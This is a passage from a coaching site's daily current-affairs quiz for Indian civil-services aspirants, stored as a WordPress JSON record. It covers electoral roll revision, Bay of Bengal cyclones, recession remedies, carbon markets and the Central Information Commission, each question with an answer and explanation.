{"id":2644,"date":"2025-10-29T05:45:20","date_gmt":"2025-10-29T05:45:20","guid":{"rendered":"https:\/\/iasquest.com\/?p=2644"},"modified":"2026-02-11T18:49:36","modified_gmt":"2026-02-11T18:49:36","slug":"daily-current-affairs-28-10-2025","status":"publish","type":"post","link":"https:\/\/kingmakersiasacademy.com\/current-affairs\/daily-current-affairs-28-10-2025\/","title":{"rendered":"DAILY CURRENT AFFAIRS \u2013 28.10.2025"},"content":{"rendered":"\n<p class=\"has-black-color has-text-color has-link-color wp-elements-1 wp-block-paragraph\"><strong>1. With reference to the Special Intensive Revision (SIR), consider the following statements<\/strong><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-2 wp-block-paragraph\">1. It is conducted by the Election Commission of India under the powers granted by Article 324 of the Constitution.<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-3 wp-block-paragraph\">2. It involves inclusion of new voters and deletion of duplicates or deceased persons from the rolls.<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-4 wp-block-paragraph\">3. It is explicitly mentioned and defined under the Registration of Electors Rules, 1960.<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-5 wp-block-paragraph\"><strong>Select the correct answer using the code given below:<\/strong><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-6 wp-block-paragraph\">(a) 1 and 2 only<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-7 wp-block-paragraph\">(b) 1 and 3 only<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-8 wp-block-paragraph\">(c) 2 and 3 only<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-9 wp-block-paragraph\">(d) 1, 2 and 3<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-10 wp-block-paragraph\"><strong>Answer: (a) 1 and 2 only<\/strong><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-11 wp-block-paragraph\"><strong>Explanation:<\/strong><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-12 wp-block-paragraph\"><strong>In NEWS: <\/strong>ECI announces phase 2 of Special Intensive Revision of electoral rolls in 12 States<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-13 wp-block-paragraph\">Bihar was covered in <strong>Phase 1<\/strong> of the SIR; Phase 2 includes 12 States\/UTs like UP, WB, TN, Kerala, Gujarat, etc.<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-14 wp-block-paragraph\"><strong>The Special Intensive Revision (SIR):<\/strong><\/p>\n\n\n\n<ul class=\"has-black-color has-text-color has-link-color wp-block-list wp-elements-15\">\n<li>The Special Intensive Revision (SIR) of electoral rolls is a strategic exercise by the <strong>Election Commission of India (ECI)<\/strong> aimed at thoroughly updating, verifying and correcting the voter lists across India.<\/li>\n\n\n\n<li>The objective is to include every eligible citizen (18+ years) and to remove duplicates, deceased persons, ineligible entries and correct errors like wrong names or addresses. <strong>Hence statement 2 is correct.<\/strong><\/li>\n\n\n\n<li>It is not simply a summary revision but combines features of a full enumeration (intensive revision) and summary updates, hence the nomenclature \u201cSpecial Intensive<\/li>\n<\/ul>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-16 wp-block-paragraph\"><strong>Legal Framework<\/strong><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-17 wp-block-paragraph\">The legal and constitutional basis for SIR is critical for understanding its authority and challenges:<\/p>\n\n\n\n<ul class=\"has-black-color has-text-color has-link-color wp-block-list wp-elements-18\">\n<li><strong>Article 324 (1):<\/strong> Grants the ECI superintendence, direction and control of elections to Parliament and State Legislatures. <strong>Hence statement 1 is correct.<\/strong><\/li>\n\n\n\n<li><strong>Article 326:<\/strong> Guarantees adult suffrage to all citizens aged 18+ for elections to Lok Sabha and State Assemblies.<\/li>\n\n\n\n<li><strong>Representation of the People Act, 1950, Section 16 and 19<\/strong>: Sets out criteria for voter eligibility (citizen, 18+, ordinary resident). Section 21(3) empowers the ECI to order special roll revision.<\/li>\n\n\n\n<li><strong>Registration of Electors Rules, 1960:<\/strong> Specifies procedures for enrolment, revision, etc. Some legal commentators note that the term \u201cSpecial Intensive Revision\u201d itself is not explicitly present in the Rulebook, raising questions of nomenclature and procedural clarity. <strong>Hence statement 3 is Incorrect.<\/strong><\/li>\n<\/ul>\n\n\n\n<figure class=\"wp-block-table\"><table class=\"has-black-color has-cyan-bluish-gray-background-color has-text-color has-background has-link-color\"><tbody><tr><td><strong>PYQ REFERENCE:<\/strong> <br><br><strong>Q. Consider the following statements: (2020)<\/strong> <br><br>1. According to the Constitution of India a person who is eligible to vote can be made a minister in a State for six months even if he\/she is not a member of the Legislature of that State. <br>2. According to the Representation of People Act, 1951, a person convicted of a criminal offense and sentenced to imprisonment for five years is permanently disqualified from contesting an election even after his release from prison. <br><br><strong>Which of the statements given above is\/are correct?<\/strong> <br><br>(a) 1 only <br>(b) 2 only <br>(c) Both 1 and 2 <br><strong>(d) Neither 1 nor 2<\/strong><\/td><\/tr><\/tbody><\/table><\/figure>\n\n\n\n<p class=\"has-vivid-purple-color has-text-color has-link-color wp-elements-19 wp-block-paragraph\"><strong>Source: <\/strong><a href=\"https:\/\/www.thehindu.com\/elections\/election-commission-of-india-press-conference-special-intensive-revision-of-electoral-rolls-october-27-2025\/article70208116.ece\" target=\"_blank\" rel=\"noopener\"><strong>https:\/\/www.thehindu.com\/elections\/election-commission-of-india-press-conference-special-intensive-revision-of-electoral-rolls-october-27-2025\/article70208116.ece<\/strong><\/a><strong><\/strong><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-20 wp-block-paragraph\"><strong>2. Consider the following statements:&nbsp;<\/strong><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-21 wp-block-paragraph\"><strong>Statement I:<\/strong> The Bay of Bengal sees much higher frequency and intensity than the Arabian Sea.<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-22 wp-block-paragraph\"><strong>Statement II:<\/strong> The Bay of Bengal&#8217;s sea surface temperature is typically lower than the Arabian Sea, providing more heat energy.<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-23 wp-block-paragraph\"><strong>Statement III:<\/strong> The Bay of Bengal has higher atmospheric moisture content compared to the Arabian Sea.<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-24 wp-block-paragraph\"><strong>Which one of the following is correct in respect of the above statements?&nbsp;&nbsp;<\/strong><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-25 wp-block-paragraph\">(a) Both Statement II and Statement III are correct and both of them explain Statement I&nbsp;&nbsp;<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-26 wp-block-paragraph\">(b) Both Statement II and Statement III are correct but only one of them explains Statement I&nbsp;&nbsp;<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-27 wp-block-paragraph\">(c) Only one of the Statements II and III is correct and that explains Statement I&nbsp;&nbsp;<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-28 wp-block-paragraph\">(d) Neither Statement II nor Statement III is correct<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-29 wp-block-paragraph\"><strong>Answer: &nbsp;(c) Only one of the Statements II and III is correct and that explains Statement I<\/strong><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-30 wp-block-paragraph\"><strong>Explanation:<\/strong><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-31 wp-block-paragraph\"><strong>In NEWS: <\/strong>Cyclone Montha red alert across Andhra Pradesh , Odisha thousands evacuated<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-32 wp-block-paragraph\"><strong>Cyclones in the Bay of Bengal:<\/strong><\/p>\n\n\n\n<ul class=\"has-black-color has-text-color has-link-color wp-block-list wp-elements-33\">\n<li>Cyclones are intense low-pressure systems characterized by strong winds spiraling towards the center (eye). In the North Indian Ocean, they occur mainly in:<ul><li>Bay of Bengal (BoB)<\/li><\/ul>\n<ul class=\"wp-block-list\">\n<li>Arabian Sea (AS)<\/li>\n<\/ul>\n<\/li>\n\n\n\n<li>But the Bay of Bengal sees much higher frequency and intensity than the Arabian Sea. <strong>Hence statement I is correct.<\/strong><\/li>\n<\/ul>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-34 wp-block-paragraph\"><strong>Why Bay of Bengal sees more Cyclones than Arabian Sea<\/strong><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-35 wp-block-paragraph\"><strong>1. Warmer Sea Surface Temperatures (SST)<\/strong><\/p>\n\n\n\n<ul class=\"has-black-color has-text-color has-link-color wp-block-list wp-elements-36\">\n<li>The Bay of Bengal&#8217;s sea surface temperature is typically <strong>higher <\/strong>than the Arabian Sea, providing more heat energy for cyclones to form and intensify.<\/li>\n\n\n\n<li>BoB has SST &gt; 28\u00b0C \u2014 ideal for cyclone formation. <strong>Hence statement II is incorrect.<\/strong><\/li>\n<\/ul>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-37 wp-block-paragraph\"><strong>2. High Humidity &amp; Moisture Availability<\/strong><\/p>\n\n\n\n<ul class=\"has-black-color has-text-color has-link-color wp-block-list wp-elements-38\">\n<li>The Bay of Bengal has higher atmospheric moisture content compared to the Arabian Sea. example: Large inflow from rivers (Ganga, Brahmaputra) warms surface waters.<\/li>\n\n\n\n<li>The Arabian Sea receives a significant amount of dry air from desert countries in the Arabian Peninsula, which disrupts and weakens developing cyclones. <strong>Hence statement III is correct and explains statement I.<\/strong><\/li>\n<\/ul>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-39 wp-block-paragraph\"><strong>3. Favorable Wind Shear<\/strong><\/p>\n\n\n\n<ul class=\"has-black-color has-text-color has-link-color wp-block-list wp-elements-40\">\n<li>Low vertical wind shear helps cyclone development.<\/li>\n<\/ul>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-41 wp-block-paragraph\"><strong>4. Remnants of Typhoons from the Pacific<\/strong><\/p>\n\n\n\n<ul class=\"has-black-color has-text-color has-link-color wp-block-list wp-elements-42\">\n<li>Many Pacific typhoons cross over and regenerate in BoB.<\/li>\n<\/ul>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-43 wp-block-paragraph\"><strong>5. Geographical Shape<\/strong><\/p>\n\n\n\n<ul class=\"has-black-color has-text-color has-link-color wp-block-list wp-elements-44\">\n<li>The funnel shape of Bay amplifies storm surge intensity.<\/li>\n<\/ul>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-45 wp-block-paragraph\"><strong>6. Low Salinity &amp; High Evaporation<\/strong><\/p>\n\n\n\n<ul class=\"has-black-color has-text-color has-link-color wp-block-list wp-elements-46\">\n<li>Enhances convection and energy buildup.<\/li>\n<\/ul>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-47 wp-block-paragraph\"><strong>Seasonal Pattern<\/strong><\/p>\n\n\n\n<ul class=\"has-black-color has-text-color has-link-color wp-block-list wp-elements-48\">\n<li><strong>Pre-monsoon:<\/strong> April\u2013May (e.g., Cyclone Amphan, 2020)<\/li>\n\n\n\n<li><strong>Post-monsoon:<\/strong> October\u2013December (most intense &amp; frequent)<\/li>\n\n\n\n<li><strong>Monsoon season (June\u2013Sept):<\/strong> Rare due to unfavorable wind shear.<\/li>\n<\/ul>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-49 wp-block-paragraph\"><strong>Classification by IMD (India Meteorological Department)<\/strong><\/p>\n\n\n\n<figure class=\"wp-block-table\"><table class=\"has-black-color has-text-color has-link-color\"><tbody><tr><td><strong>Category<\/strong><\/td><td><strong>Wind Speed (km\/h)<\/strong><\/td><\/tr><tr><td>Low Pressure<\/td><td>&lt;31<\/td><\/tr><tr><td>Depression<\/td><td>31\u201349<\/td><\/tr><tr><td>Deep Depression<\/td><td>50\u201361<\/td><\/tr><tr><td>Cyclonic Storm<\/td><td>62\u201388<\/td><\/tr><tr><td>Severe Cyclonic Storm<\/td><td>89\u2013117<\/td><\/tr><tr><td>Very Severe Cyclonic Storm<\/td><td>118\u2013165<\/td><\/tr><tr><td>Extremely Severe Cyclonic Storm<\/td><td>166\u2013220<\/td><\/tr><tr><td>Super Cyclone<\/td><td>&gt;221<\/td><\/tr><\/tbody><\/table><\/figure>\n\n\n\n<figure class=\"wp-block-table\"><table class=\"has-black-color has-light-green-cyan-background-color has-text-color has-background has-link-color\"><tbody><tr><td><strong>PYQ REFERENCE:<\/strong> <br><br><strong>Q. Consider the following statements: (2020)<\/strong> <br><br>1. Jet streams occur in the Northern Hemisphere only. <br>2. Only some cyclones develop an eye.<br>3. The temperature inside the eye of a cyclone is nearly 10\u00baC lesser than that of the surroundings. <br><br><strong>Which of the statements given above is\/are correct?<\/strong> <br><br><strong>(<\/strong>a) 1 only <br>(b) 2 and 3 only <br><strong>(c) 2 only<\/strong> <br>(d) 1 and 3 only<\/td><\/tr><\/tbody><\/table><\/figure>\n\n\n\n<p class=\"has-vivid-purple-color has-text-color has-link-color wp-elements-50 wp-block-paragraph\"><strong>Source: <\/strong><a href=\"https:\/\/www.thehindu.com\/news\/national\/cyclone-montha-andhra-pradesh-odisha-tamil-nadu-rains-live-updates-october-28-2025\/article70210929.ece\" target=\"_blank\" rel=\"noopener\"><strong>https:\/\/www.thehindu.com\/news\/national\/cyclone-montha-andhra-pradesh-odisha-tamil-nadu-rains-live-updates-october-28-2025\/article70210929.ece<\/strong><\/a><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-51 wp-block-paragraph\"><strong>3. Which among the following steps can be taken by the government at the time of an economic recession?<\/strong><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-52 wp-block-paragraph\">1. Increasing government spending<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-53 wp-block-paragraph\">2. Lowering interest rates<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-54 wp-block-paragraph\">3. Implementing tax cuts<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-55 wp-block-paragraph\">4. Decreasing money supply<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-56 wp-block-paragraph\"><strong>Select the correct answer using the codes given below:<\/strong><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-57 wp-block-paragraph\">(a) 1 and 2 only<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-58 wp-block-paragraph\">(b) 3 and 4 only<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-59 wp-block-paragraph\">(c) 2, 3 and 4 only<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-60 wp-block-paragraph\">(d) 1, 2 and 3 only<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-61 wp-block-paragraph\"><strong>Answer: (d) 1, 2 and 3 only<\/strong><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-62 wp-block-paragraph\"><strong>Explanation:<\/strong> <strong><\/strong><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-63 wp-block-paragraph\"><strong>In NEWS: <\/strong>Top economist warns: These 2 states could tip America into recession while another one is in danger zone<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-64 wp-block-paragraph\"><strong>Recession:<\/strong><\/p>\n\n\n\n<ul class=\"has-black-color has-text-color has-link-color wp-block-list wp-elements-65\">\n<li>A recession is a nationwide economic slowdown, measured by factors such as industrial production, employment and income.<\/li>\n\n\n\n<li>A recession typically involves the overall output in an economy contracting for at least two consecutive quarters, along with job losses and reduction in overall demand.<\/li>\n\n\n\n<li>During a recession, businesses may sell fewer products, leading to layoffs and decreased wages. As a result, consumers tend to save their money rather than spend it, further dampening their contribution to the economy. This domino effect creates financial hardships that can affect the entire world.<\/li>\n\n\n\n<li>Governments respond to these recessions by altering fiscal policies to boost economic growth. The following are some measures policymakers may implement to deal with a recession:<ul><li>Increasing government spending<\/li><\/ul><ul><li>Lowering interest rates<\/li><\/ul><ul><li>Implementing tax cuts<\/li><\/ul>\n<ul class=\"wp-block-list\">\n<li>Increasing money supply. <strong>Hence 4 is incorrect.<\/strong><\/li>\n<\/ul>\n<\/li>\n<\/ul>\n\n\n\n<figure class=\"wp-block-table\"><table class=\"has-black-color has-pale-cyan-blue-background-color has-text-color has-background has-link-color\"><tbody><tr><td><strong>PYQ REFERENCE:<\/strong> <br><br><strong>Q. Which among the following steps is most likely to be taken at the time of an economic recession?<\/strong><br><br>(a) Cut in tax rates accompanied by increase in interest rate <br><strong>(b) Increase in expenditure on public projects<\/strong> <br>(c) Increase in tax rates accompanied by reduction of interest rate <br>(d) Reduction of expenditure on public project<\/td><\/tr><\/tbody><\/table><\/figure>\n\n\n\n<p class=\"has-vivid-purple-color has-text-color has-link-color wp-elements-66 wp-block-paragraph\"><strong>Source: <\/strong><a href=\"https:\/\/economictimes.indiatimes.com\/news\/international\/us\/us-recession-risk-2025-mark-zandi-warns-california-and-new-york-could-tip-america-into-recession-while-another-one-is-in-danger-zone\/articleshow\/124850391.cms?from=mdr\" target=\"_blank\" rel=\"noopener\"><strong>https:\/\/economictimes.indiatimes.com\/news\/international\/us\/us-recession-risk-2025-mark-zandi-warns-california-and-new-york-could-tip-america-into-recession-while-another-one-is-in-danger-zone\/articleshow\/124850391.cms?from=mdr<\/strong><\/a><strong><\/strong><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-67 wp-block-paragraph\"><strong>4. Which among the following statements is\/are correct regarding \u2018North &#8211; South Carbon Market\u2019?<\/strong><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-68 wp-block-paragraph\">1. It refers to the trading of carbon credits between developed and developing countries to offset their greenhouse gas emissions.<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-69 wp-block-paragraph\">2. The concept of North\u2013South carbon trade is based on the principle of Common but Differentiated Responsibilities (CBDR) under international climate agreements.<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-70 wp-block-paragraph\">3. India is developing a domestic Carbon Credit Trading Scheme (CCTS) aimed at regulating and incentivizing emission reductions.<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-71 wp-block-paragraph\"><strong>Select the correct answer using the code given below:<\/strong><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-72 wp-block-paragraph\">(a) 2 and 3 only<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-73 wp-block-paragraph\">(b) 2 only<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-74 wp-block-paragraph\">(c) 3 only<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-75 wp-block-paragraph\">(d) 1, 2 and 3<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-76 wp-block-paragraph\"><strong>Answer: (d) 1, 2 and 3<\/strong><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-77 wp-block-paragraph\"><strong>Explanation:<\/strong><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-78 wp-block-paragraph\"><strong>In NEWS:<\/strong> A Start For North and South Carbon market<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-79 wp-block-paragraph\"><strong>North\u2013South Carbon Market:<\/strong><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-80 wp-block-paragraph\">1. The term <strong>North\u2013South Carbon Market<\/strong> refers to the trading of carbon credits between <strong>developed (Global North)<\/strong> and <strong>developing (Global South)<\/strong> countries.<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-81 wp-block-paragraph\">2. Developed countries often <strong>purchase carbon credits<\/strong> from developing nations to offset their greenhouse gas emissions. <strong>Hence statement 1 is correct.<\/strong><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-82 wp-block-paragraph\">3. The concept of North\u2013South carbon trade is based on the principle of <strong>Common but Differentiated Responsibilities (CBDR)<\/strong> under international climate agreements. <strong>Hence statement 2 is correct.<\/strong><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-83 wp-block-paragraph\">4. The <strong>Clean Development Mechanism (CDM)<\/strong> under the <strong>Kyoto Protocol (1997)<\/strong> was the first structured North\u2013South carbon trading mechanism.<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-84 wp-block-paragraph\">5. Under the <strong>Paris Agreement (Article 6)<\/strong>, countries can exchange <strong>Internationally Transferred Mitigation Outcomes (ITMOs)<\/strong> \u2014 a new form of North\u2013South carbon cooperation.<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-85 wp-block-paragraph\">6. The <strong>North\u2013South carbon market<\/strong> allows the flow of <strong>finance, investment, and clean technology<\/strong> from developed to developing countries.<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-86 wp-block-paragraph\">7. The mechanism aims to make <strong>climate mitigation cost-effective<\/strong> by allowing emission reductions where it is cheaper to achieve them.<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-87 wp-block-paragraph\">8. Critics describe such carbon trade as <strong>\u201ccarbon colonialism\u201d<\/strong>, as it allows developed countries to continue emitting while shifting mitigation responsibility to poorer nations.<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-88 wp-block-paragraph\">9. India is developing its domestic <strong>Carbon Credit Trading Scheme (CCTS)<\/strong>, which may in future link with international carbon markets. <strong>Hence statement 1 is correct.<\/strong><\/p>\n\n\n\n<figure class=\"wp-block-table\"><table class=\"has-black-color has-cyan-bluish-gray-background-color has-text-color has-background has-link-color\"><tbody><tr><td><strong>PYQ REFERENCE:<\/strong> <br><br><strong>Q. Consider the following statements: (2023)<\/strong> <br><br><strong>Statement-I:<\/strong> Carbon markets are likely to be one of the most widespread tools in the fight against climate change. <br><strong>Statement-II:<\/strong> Carbon markets transfer resources from the private sector to the State. <br><br><strong>Which one of the following is correct in respect of the above statements?<\/strong> <br><br>(a) Both Statement-I and Statement-II are correct and Statement-I Statement-II explains <br><strong>(b) Both Statement-I and Statement-II are correct, but Statement-II does not explain Statement-1<\/strong> <br>(c) Statement-I is correct, but Statement-II is incorrect <br>(d) Statement-I is incorrect, but Statement-II is correct<\/td><\/tr><\/tbody><\/table><\/figure>\n\n\n\n<p class=\"has-vivid-purple-color has-text-color has-link-color wp-elements-89 wp-block-paragraph\"><strong>Source: <\/strong><a href=\"https:\/\/www.thehindu.com\/opinion\/op-ed\/a-start-for-north-south-carbon-market-cooperation\/article70209291.ece#:~:text=The%20Indian%20carbon%20market%20and,North%2DSouth%20carbon%20market%20cooperation\" target=\"_blank\" rel=\"noopener\"><strong>https:\/\/www.thehindu.com\/opinion\/op-ed\/a-start-for-north-south-carbon-market-cooperation\/article70209291.ece#:~:text=The%20Indian%20carbon%20market%20and,North%2DSouth%20carbon%20market%20cooperation<\/strong><\/a><strong>.<\/strong><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-90 wp-block-paragraph\"><strong>5. With reference to the \u201cCentral Information Commission\u201d, Consider the following statements.<\/strong><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-91 wp-block-paragraph\">1. The Commission includes one Chief Information Commissioner (CIC) and not more than ten Information Commissioners (IC).<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-92 wp-block-paragraph\">2. The person appointed as the CIC\/IC must be a Member of Parliament or Member of the Legislature of any State or Union Territory.<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-93 wp-block-paragraph\">3. For appointment to the CIC\/IC, the Committee consists of the Prime Minister, Leader of the Opposition in the Lok Sabha and one Union Cabinet Minister to be nominated by the Prime Minister.<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-94 wp-block-paragraph\">4. The CIC shall not have any fixed tenure, S\/he holds the office during the pleasure of the President.<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-95 wp-block-paragraph\"><strong>Which of the statements given above is\/are correct?<\/strong><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-96 wp-block-paragraph\">(a) 1 and 4<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-97 wp-block-paragraph\">(b) 1 and 3<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-98 wp-block-paragraph\">(c) 2, 3 and 4<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-99 wp-block-paragraph\">(d) 3 only<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-100 wp-block-paragraph\"><strong>Answer: (b) 1 and 3<\/strong><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-101 wp-block-paragraph\"><strong>Explanation:<\/strong><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-102 wp-block-paragraph\"><strong>In NEWS: CIC appointments in \u2018two or three\u2019 weeks, Centre tells top court<\/strong><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-103 wp-block-paragraph\"><strong>Central Information Commission:<\/strong><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-104 wp-block-paragraph\"><strong>How is the Central Information Commission constituted?<\/strong><\/p>\n\n\n\n<ul class=\"has-black-color has-text-color has-link-color wp-block-list wp-elements-105\">\n<li>Central Information Commission to be constituted by the Central Government through a Gazette Notification.&nbsp;&nbsp;<\/li>\n\n\n\n<li>The Commission includes 1 Chief Information Commissioner (CIC) and not more than 10 Information Commissioners (IC) who will be appointed by the President of India. <strong>Hence statement 1 is correct.<\/strong><\/li>\n\n\n\n<li>Oath of Office will be administered by the President of India according to the form set out in the First Schedule.<\/li>\n\n\n\n<li>The Commission shall have its Headquarters in Delhi. Other offices may be established in other parts of the country with the approval of the Central Government.<\/li>\n\n\n\n<li>The Commission will exercise its powers without being subjected to directions by any other authority.<\/li>\n<\/ul>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-106 wp-block-paragraph\"><strong>What is the eligibility criteria and what is the process of appointment of CIC\/IC?<\/strong><\/p>\n\n\n\n<ul class=\"has-black-color has-text-color has-link-color wp-block-list wp-elements-107\">\n<li>Candidates for CIC\/IC must be persons of eminence in public life with wide knowledge and experience in law, science and technology, social service, management, journalism, mass media or administration and governance.<\/li>\n\n\n\n<li>CIC\/IC shall not be a Member of Parliament or Member of the Legislature of any State or Union Territory. He shall not hold any other office of profit or connected with any political party or carrying on any business or pursuing any profession. <strong>Hence statement 2 is incorrect.<\/strong><\/li>\n\n\n\n<li>The Appointment Committee includes the Prime Minister (Chair), Leader of the Opposition in the Lok Sabha and one Union Cabinet Minister to be nominated by the Prime Minister. <strong>Hence statement 3 is correct.<\/strong><\/li>\n<\/ul>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-108 wp-block-paragraph\"><strong>What is the term of office and other service conditions of CIC?<\/strong><\/p>\n\n\n\n<ul class=\"has-black-color has-text-color has-link-color wp-block-list wp-elements-109\">\n<li>CIC shall be appointed for a term of 5 years from date on which he enters upon his office or till he attains the age of 65 years, whichever is earlier. <strong>Hence statement 4 is incorrect.<\/strong><\/li>\n<\/ul>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-110 wp-block-paragraph\"><strong>(the Chief Information Commissioner (CIC) does not hold office &#8220;during the pleasure of the President&#8221;; the CIC has a fixed term and cannot be removed at the President&#8217;s will)<\/strong><\/p>\n\n\n\n<ul class=\"has-black-color has-text-color has-link-color wp-block-list wp-elements-111\">\n<li>CIC is not eligible for reappointment.<\/li>\n\n\n\n<li>Salary will be the same as that of the Chief Election Commissioner. This will not be varied to the disadvantage of the CIC during service.<\/li>\n<\/ul>\n\n\n\n<figure class=\"wp-block-table\"><table class=\"has-black-color has-light-green-cyan-background-color has-text-color has-background has-link-color\"><tbody><tr><td><strong>PYQ REFERENCE:<\/strong> <br><br><strong>Q. The Central Information Commission was established under which Act? (2021)<\/strong> <br><br><strong>(a) Right to Information Act, 2005<\/strong> <br>(b) Freedom of Information Act, 2002 <br>(c) Transparency in Government Act, 2006 <br>(d) Public Disclosure Act, 2004<\/td><\/tr><\/tbody><\/table><\/figure>\n\n\n\n<p class=\"has-vivid-purple-color has-text-color has-link-color wp-elements-112 wp-block-paragraph\"><strong>Source: <\/strong><a href=\"https:\/\/www.thehindu.com\/news\/national\/chief-information-commissioner-appointments-in-two-or-three-weeks-centre-tells-sc\/article70209501.ece\" target=\"_blank\" rel=\"noopener\"><strong>https:\/\/www.thehindu.com\/news\/national\/chief-information-commissioner-appointments-in-two-or-three-weeks-centre-tells-sc\/article70209501.ece<\/strong><\/a><strong><\/strong><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-113 wp-block-paragraph\"><strong>6. With reference to Indian Cultural history, Which among the following statements are correct regarding the Dogri language?<\/strong><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color 